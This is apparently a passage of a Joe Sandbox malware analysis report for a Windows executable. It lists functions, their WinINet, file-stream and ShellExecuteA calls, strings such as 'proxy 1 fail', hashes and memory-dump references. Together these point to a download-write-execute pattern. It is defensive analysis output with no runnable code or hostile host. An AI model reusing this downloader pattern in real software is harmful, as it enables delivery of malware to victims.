Opcode Fuzzy Hash: ea5bf015b3e2db58eccb78138e66b885dc162a5a1f37a9809a3828ab11b30293
Instruction Fuzzy Hash: 0B327172A06BC689EB709F25D8847EC33A1FB44798F404635DA6DABBD9DF78D2449300

Function 00007FF6ACE826F6 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 215
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET ref: 00007FF6ACE82763
InternetOpenUrlA.WININET ref: 00007FF6ACE827A2
HttpQueryInfoA.WININET ref: 00007FF6ACE827DC
InternetCloseHandle.WININET ref: 00007FF6ACE827E9
InternetCloseHandle.WININET ref: 00007FF6ACE827F2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE82844
InternetReadFile.WININET ref: 00007FF6ACE82877
InternetCloseHandle.WININET ref: 00007FF6ACE82882
InternetCloseHandle.WININET ref: 00007FF6ACE8288B

Strings

[-] proxy 1 fail, xrefs: 00007FF6ACE828DE
Mozilla/5.0, xrefs: 00007FF6ACE8275C

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: Internet$CloseHandle$Open$FileHttpInfoQueryRead_invalid_parameter_noinfo_noreturn
String ID: Mozilla/5.0$[-] proxy 1 fail
API String ID: 2088088030-150384382
Opcode ID: 1079f67829109179acccc4f1b730acce526c81ed9b9485b3d77467892d480998
Instruction ID: 36b51bd741a1571965cb91ddf3c7f715ecbb29670a26ab9eab26a43488e885f6
Opcode Fuzzy Hash: 1079f67829109179acccc4f1b730acce526c81ed9b9485b3d77467892d480998
Instruction Fuzzy Hash: 5CC19776606BC58DDBB0CF25DC807DD33A4F708B98F508526DA4EABB58EF3596998300

Function 00007FF6ACE8273F Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 79
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET ref: 00007FF6ACE82763
InternetOpenUrlA.WININET ref: 00007FF6ACE827A2
HttpQueryInfoA.WININET ref: 00007FF6ACE827DC
InternetCloseHandle.WININET ref: 00007FF6ACE827E9
InternetCloseHandle.WININET ref: 00007FF6ACE827F2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE82844
InternetReadFile.WININET ref: 00007FF6ACE82877
InternetCloseHandle.WININET ref: 00007FF6ACE82882
InternetCloseHandle.WININET ref: 00007FF6ACE8288B

Strings

Mozilla/5.0, xrefs: 00007FF6ACE8275C

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: Internet$CloseHandle$Open$FileHttpInfoQueryRead_invalid_parameter_noinfo_noreturn
String ID: Mozilla/5.0
API String ID: 2088088030-2630049532
Opcode ID: 02377c09271c27bb6df21d7c9358ae724bd4cbfbaec6d59966b322c224eb7d10
Instruction ID: e93606236fc09e55eda660554dace081693061de51319a4be61acc2bcbca967c
Opcode Fuzzy Hash: 02377c09271c27bb6df21d7c9358ae724bd4cbfbaec6d59966b322c224eb7d10
Instruction Fuzzy Hash: E5317976B0A7C28AEB708F219854BA837A1FB45B98F400135E91EAAB98DF3CD544C300

Function 00007FF6ACE82702 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET ref: 00007FF6ACE82763
InternetOpenUrlA.WININET ref: 00007FF6ACE827A2
HttpQueryInfoA.WININET ref: 00007FF6ACE827DC
InternetCloseHandle.WININET ref: 00007FF6ACE827E9
InternetCloseHandle.WININET ref: 00007FF6ACE827F2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE82844
InternetReadFile.WININET ref: 00007FF6ACE82877
InternetCloseHandle.WININET ref: 00007FF6ACE82882
InternetCloseHandle.WININET ref: 00007FF6ACE8288B

Strings

Mozilla/5.0, xrefs: 00007FF6ACE8275C

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: Internet$CloseHandle$Open$FileHttpInfoQueryRead_invalid_parameter_noinfo_noreturn
String ID: Mozilla/5.0
API String ID: 2088088030-2630049532
Opcode ID: 0f3e6a03877e5589d8b78e1227934c4593c6f712853129a7b3cc022927336c20
Instruction ID: 9049121d9dee575c32cd1d0569fe59ca26517f3d08b571684560ae2c5b850b19
Opcode Fuzzy Hash: 0f3e6a03877e5589d8b78e1227934c4593c6f712853129a7b3cc022927336c20
Instruction Fuzzy Hash: 3A314D72B0A7C28AEB709F219844BA83391FB55BD4F404135E91DABB94DF3CD544D300

Function 00007FF6ACE847F0 Relevance: 16.6, APIs: 11, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6ACE82158), ref: 00007FF6ACE8482D
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF6ACE8484C
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6ACE8487E
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF6ACE84899
?_Fiopen@std@@YAPEAU_iobuf@@PEBDHH@Z.MSVCP140 ref: 00007FF6ACE848C3
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF6ACE848E0
_get_stream_buffer_pointers.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6ACE84907
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEBA?AVlocale@2@XZ.MSVCP140 ref: 00007FF6ACE84952

Part of subcall function 00007FF6ACE851B0: ??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF6ACE851DD
Part of subcall function 00007FF6ACE851B0: ??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF6ACE851F7
Part of subcall function 00007FF6ACE851B0: ?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF6ACE85229
Part of subcall function 00007FF6ACE851B0: ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF6ACE85254
Part of subcall function 00007FF6ACE851B0: std::_Facet_Register.LIBCPMT ref: 00007FF6ACE8526D
Part of subcall function 00007FF6ACE851B0: ??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF6ACE8528C

?always_noconv@codecvt_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6ACE84967
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140 ref: 00007FF6ACE8497E
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF6ACE849C0

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$Init@?$basic_streambuf@$Lockit@std@@$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@??0_??1_?always_noconv@codecvt_base@std@@?getloc@?$basic_streambuf@?setstate@?$basic_ios@Bid@locale@std@@D@std@@@1@_Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU_iobuf@@V42@@V?$basic_streambuf@Vfacet@locale@2@Vlocale@2@_get_stream_buffer_pointersstd::_
String ID:
API String ID: 3067465659-0
Opcode ID: a896ab53d942e48a7b7ee0c355a5a6979400eb9bfc4d2169f42b6be63e015f7e
Instruction ID: 25b870290b76d06c82dba0db7e58d1e786d05913d809097a411f12c88fbb89b1
Opcode Fuzzy Hash: a896ab53d942e48a7b7ee0c355a5a6979400eb9bfc4d2169f42b6be63e015f7e
Instruction Fuzzy Hash: 7151283270AB86C6EB50CF25E890A6977A4FB89F88F145035DA8E93B68DF3CD455C740

Function 00007FF6ACE84C30 Relevance: 13.6, APIs: 9, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000050,00000000,00007FF6ACE818D7), ref: 00007FF6ACE84CA9
?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,?,00000000,00000050,00000000,00007FF6ACE818D7), ref: 00007FF6ACE84CC9
?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000050,00000000,00007FF6ACE818D7), ref: 00007FF6ACE84CD9
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,?,00000000,00000050,00000000,00007FF6ACE818D7), ref: 00007FF6ACE84D26
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,?,00000000,00000050,00000000,00007FF6ACE818D7), ref: 00007FF6ACE84D4F
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,?,00000000,00000050,00000000,00007FF6ACE818D7), ref: 00007FF6ACE84D76
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140(?,?,00000000,00000050,00000000,00007FF6ACE818D7), ref: 00007FF6ACE84DBC
?uncaught_exception@std@@YA_NXZ.MSVCP140(?,?,00000000,00000050,00000000,00007FF6ACE818D7), ref: 00007FF6ACE84DC3
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140(?,?,00000000,00000050,00000000,00007FF6ACE818D7), ref: 00007FF6ACE84DD0

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?good@ios_base@std@@?sputc@?$basic_streambuf@$?flush@?$basic_ostream@?setstate@?$basic_ios@?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@V12@
String ID:
API String ID: 3274656010-0
Opcode ID: 248ade77838373edbcb826c054ec37edfb1687002e581ce2532d7bf4c6c7cef9
Instruction ID: 43d9187267e2e32bffc0b32b1578c789cde3e2252bbbe4989a7c6c25ca4ac481
Opcode Fuzzy Hash: 248ade77838373edbcb826c054ec37edfb1687002e581ce2532d7bf4c6c7cef9
Instruction Fuzzy Hash: 32512F3270AA4181EB218F29E5A0638BBA0FF85F95F15C531DE5EA7BE1CF39D4468300

Function 00007FF6ACE84A60 Relevance: 13.6, APIs: 9, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6ACE84AAD
?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF6ACE84ACD
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6ACE84ADD
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6ACE84B3D
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6ACE84B66
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6ACE84B9D
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF6ACE84BE1
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF6ACE84BE8
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF6ACE84BF5

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?sputc@?$basic_streambuf@$?good@ios_base@std@@$?flush@?$basic_ostream@?setstate@?$basic_ios@?uncaught_exception@std@@Osfx@?$basic_ostream@V12@
String ID:
API String ID: 834659371-0
Opcode ID: 561e18636be18f5fa873beace75a1f4876f4b4da61f6f470508deed2b5f2db9c
Instruction ID: 132a48e191917e098621697fa90eda11c56747212dd3158e1352cbe884cbd473
Opcode Fuzzy Hash: 561e18636be18f5fa873beace75a1f4876f4b4da61f6f470508deed2b5f2db9c
Instruction Fuzzy Hash: 0951623660AA8186DB108F69D5E0639B7A0FB84F95B158532DF6E977A0CF38D456C700

Function 00007FF6ACE856E0 Relevance: 13.6, APIs: 9, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6ACE85745
?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF6ACE85765
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6ACE85775
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6ACE857BC
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF6ACE857E9
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6ACE8580A
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF6ACE85850
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF6ACE85857
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF6ACE85864

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?good@ios_base@std@@?sputc@?$basic_streambuf@$?flush@?$basic_ostream@?setstate@?$basic_ios@?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@V12@
String ID:
API String ID: 3274656010-0
Opcode ID: ac6aa3f5fb1cc28d679886165e4b21ea4774332ddcffcc08a88d8eb228989689
Instruction ID: ec2d79e540280da5e81eb740a884b9b3d32b5341b795512d63ad9d903e20d35f
Opcode Fuzzy Hash: ac6aa3f5fb1cc28d679886165e4b21ea4774332ddcffcc08a88d8eb228989689
Instruction Fuzzy Hash: 8E51F03660AA41C2FF21CF19E590A38B7A0FB85F95B55C532DE5E97B60CE3ED4468700

Function 00007FF6ACE820D0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF6ACE82106
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6ACE82121
memset.VCRUNTIME140 ref: 00007FF6ACE8213C
?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEBD_J@Z.MSVCP140 ref: 00007FF6ACE82198
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF6ACE821C6
ShellExecuteA.SHELL32 ref: 00007FF6ACE821F0

Part of subcall function 00007FF6ACE82230: ??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6ACE822C6
Part of subcall function 00007FF6ACE82230: ??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6ACE822D4

Strings

open, xrefs: 00007FF6ACE821E7

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$??1?$basic_ostream@??1?$basic_streambuf@?setstate@?$basic_ios@?write@?$basic_ostream@ExecuteFileModuleNameShellV12@_stricmpmemset
String ID: open
API String ID: 4130260198-2758837156
Opcode ID: 22c02f708d27c3b1d81104b44673461b48dbf1e0b9927b7cb8526d95fb35ad8d
Instruction ID: 0c4c88bfa0eed6124a3d89fa2339cc834042aa28817b5aee788ef4174acda5e4
Opcode Fuzzy Hash: 22c02f708d27c3b1d81104b44673461b48dbf1e0b9927b7cb8526d95fb35ad8d
Instruction Fuzzy Hash: 7C319A32729A81C1EB60DB25E895BBA73A0FF94B84F405035EA4DD7A65DF3CD544CB00

Function 00007FF6ACE85D1C Relevance: 12.1, APIs: 8, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6ACE85D45
__scrt_release_startup_lock.LIBCMT ref: 00007FF6ACE85DB3
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE85E01
_get_initial_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE85E06
__p___argv.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE85E0E
__p___argc.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE85E16
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE85E38
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE85E92

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: __p___argc__p___argv__scrt_acquire_startup_lock__scrt_release_startup_lock_cexit_exit_get_initial_narrow_environment_register_thread_local_exe_atexit_callback
String ID:
API String ID: 1133592946-0
Opcode ID: 5cdba4028779adf41efbfd226bfda1fc25b860f6cb45ac053feb1286a5d420fa
Instruction ID: 78409bc12c1e39a759b8764cd15bfd6e614e6d6e1a53f5d85a0cdaee548807f1
Opcode Fuzzy Hash: 5cdba4028779adf41efbfd226bfda1fc25b860f6cb45ac053feb1286a5d420fa
Instruction Fuzzy Hash: 7E315935A0F64382FE50AF209952BBA3795BF85784F845435EA4DFB2E7DE2CE8048351

Function 00007FF6ACE82714 Relevance: 12.1, APIs: 8, Instructions: 74
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenUrlA.WININET ref: 00007FF6ACE827A2
HttpQueryInfoA.WININET ref: 00007FF6ACE827DC
InternetCloseHandle.WININET ref: 00007FF6ACE827E9
InternetCloseHandle.WININET ref: 00007FF6ACE827F2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE82844
InternetReadFile.WININET ref: 00007FF6ACE82877
InternetCloseHandle.WININET ref: 00007FF6ACE82882
InternetCloseHandle.WININET ref: 00007FF6ACE8288B

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: Internet$CloseHandle$FileHttpInfoOpenQueryRead_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3965888079-0
Opcode ID: a5dd6928269e48a371b23345750f5c6f4ff3848709d6d17988038cc71ebbb807
Instruction ID: b85da0db65faa851ff02644c790347b6442262d0da7ac76ad8f6734a482806e7
Opcode Fuzzy Hash: a5dd6928269e48a371b23345750f5c6f4ff3848709d6d17988038cc71ebbb807
Instruction Fuzzy Hash: 1C313A72B0A7C28AEB709F219844BA83391FB55BD4F400135E92EAAB98DF3CE544D700

Function 00007FF6ACE822F0 Relevance: 7.7, APIs: 5, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6ACE84E10: _Query_perf_frequency.MSVCP140 ref: 00007FF6ACE84E80
Part of subcall function 00007FF6ACE84E10: _Query_perf_counter.MSVCP140 ref: 00007FF6ACE84E89
Part of subcall function 00007FF6ACE84E10: Sleep.KERNEL32 ref: 00007FF6ACE84F29
Part of subcall function 00007FF6ACE84E10: Sleep.KERNEL32 ref: 00007FF6ACE84F57

Part of subcall function 00007FF6ACE85AF8: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6ACE813B3), ref: 00007FF6ACE85B12

memset.VCRUNTIME140 ref: 00007FF6ACE8236B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE83524
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6ACE83531
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6ACE83537
?always_noconv@codecvt_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6ACE8356B

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: Concurrency::cancel_current_taskSleep$?always_noconv@codecvt_base@std@@Query_perf_counterQuery_perf_frequency_invalid_parameter_noinfo_noreturnmallocmemset
String ID:
API String ID: 1722148790-0
Opcode ID: b45bc71eda5227c746e0789d304113b5042f72e7edf32d9e3541c290b724b804
Instruction ID: 54ca9bbb2781de8159b8c46687b3e54d3850ca03ea44fa0bef4aa71fc408b7e8
Opcode Fuzzy Hash: b45bc71eda5227c746e0789d304113b5042f72e7edf32d9e3541c290b724b804
Instruction Fuzzy Hash: 3AA16636606FC58DDBB08F65EC807DD32A4F708B98F508526DA9DABB59DF34C2958340

Function 00007FF6ACE84E10 Relevance: 6.1, APIs: 4, Instructions: 92
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6ACE81290: _Query_perf_frequency.MSVCP140 ref: 00007FF6ACE8129D
Part of subcall function 00007FF6ACE81290: _Query_perf_counter.MSVCP140 ref: 00007FF6ACE812A6

_Query_perf_frequency.MSVCP140 ref: 00007FF6ACE84E80
_Query_perf_counter.MSVCP140 ref: 00007FF6ACE84E89
Sleep.KERNEL32 ref: 00007FF6ACE84F29
Sleep.KERNEL32 ref: 00007FF6ACE84F57

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

